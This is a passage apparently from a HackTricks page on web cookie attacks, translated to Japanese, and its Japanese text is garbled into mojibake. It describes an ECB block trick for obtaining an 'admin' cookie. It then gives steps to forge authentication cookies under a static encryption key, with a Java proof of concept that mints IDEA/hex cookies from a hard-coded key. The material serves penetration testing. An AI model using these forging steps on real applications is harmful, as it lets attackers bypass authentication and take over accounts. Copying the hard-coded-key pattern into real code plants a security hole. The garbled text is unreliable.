ãããã¯ãµã€ãºã«çžåœãããã¿ãŒã³ãèŠã€ããã¯ãã§ãããããã£ãŠãâaâ ãã©ã®ããã«æå·åãããããåããã°ãusername ã âaâ*(size of the block)+âadminâ ã®ããã«äœæã§ããŸããæ¬¡ã«ãcookie ãã âaâ ãããã¯ã«å¯Ÿå¿ããæå·åãã¿ãŒã³ãåé€ããã°ãusername âadminâ ã® cookie ãåŸãããŸãã
Static-key cookie forgery (symmetric encryption of predictable IDs)
Some applications mint authentication cookies by encrypting only a predictable value (e.g., the numeric user ID) under a global, hard-coded symmetric key, then encoding the ciphertext (hex/base64). If the key is static per product (or per install), anyone can forge cookies for arbitrary users offline and bypass authentication.
How to test/forge
- Identify the cookie(s) that gate auth, e.g., COOKIEID and ADMINCOOKIEID.
- Determine cipher/encoding. In one real-world case the app used IDEA with a constant 16-byte key and returned the ciphertext as hex.
- Verify by encrypting your own user ID and comparing with the issued cookie. If it matches, you can mint cookies for any target ID (1 often maps to the first admin).
- Set the forged value directly as the cookie and browse; no credentials are needed.
å®éã«äœ¿ããã Minimal Java PoC (IDEA + hex)
```java import cryptix.provider.cipher.IDEA; import cryptix.provider.key.IDEAKeyGenerator; import cryptix.util.core.Hex; import java.security.Key; import java.security.KeyException; import java.io.UnsupportedEncodingException;public class App { private String ideaKey = â1234567890123456â; // example static key
public String encode(char[] plainArray) { return encode(new String(plainArray)); }
public String encode(String plain) { IDEAKeyGenerator keygen = new IDEAKeyGenerator(); IDEA encrypt = new IDEA(); Key key; try { key = keygen.generateKey(this.ideaKey.getBytes()); encrypt.initEncrypt(key); } catch (KeyException e) { return null; } if (plain.length() == 0 || plain.length() % encrypt.getInputBlockSize() > 0) { for (int currentPad = plain.length() % encrypt.getInputBlockSize(); currentPad < encrypt.getInputBlockSize(); currentPad++) { plain = plain + â â; // space padding } } byte[] encrypted = encrypt.update(plain.getBytes()); return Hex.toString(encrypted); // cookie expects hex }
public String decode(String chiffre) { IDEAKeyGenerator keygen = new IDEAKeyGenerator(); IDEA decrypt = new IDEA(); Key key; try { key = keygen.generateKey(this.ideaKey.getBytes()); decrypt.initDecrypt(key); } catch (KeyException e) { return null; } byte[] decrypted = decrypt.update(Hex.fromString(chiffre)); try { return new String(decrypted, âISO_8859-1â).trim(); } catch (UnsupportedEncodingException e) { return null; } }
public void setKey(String key) { this.ideaKey = key; } }
</details>ã³ã³ããã¹ãïŒäŸïŒserver-side session with random IDããŸã㯠anti-replay properties ã远å ïŒã
## åèæç®
- [When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise](https://www.rcesecurity.com/2025/09/when-audits-fail-four-critical-pre-auth-vulnerabilities-in-trufusion-enterprise/)
- [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
- [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
- [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
- [https://seclists.org/webappsec/2006/q2/181](https://seclists.org/webappsec/2006/q2/181)
- [https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [Cookie Chaos: How to bypass __Host and __Secure cookie prefixes](https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes)
- [Burp Custom Action â CookiePrefixBypass.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/CookiePrefixBypass.bambda)
> [!TIP]
> AWSãããã³ã°ãåŠã³ãå®è·µããïŒ<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCPãããã³ã°ãåŠã³ãå®è·µããïŒ<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azureãããã³ã°ãåŠã³ãå®è·µããïŒ<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricksããµããŒããã</summary>
>
> - [**ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³**](https://github.com/sponsors/carlospolop)ã確èªããŠãã ããïŒ
> - **ð¬ [**Discordã°ã«ãŒã**](https://discord.gg/hRep4RUj7f)ãŸãã¯[**ãã¬ã°ã©ã ã°ã«ãŒã**](https://t.me/peass)ã«åå ãããã**Twitter** ðŠ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**ããã©ããŒããŠãã ããã**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks)ããã³[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)ã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå
±æããŠãã ããã**
>
> </details>


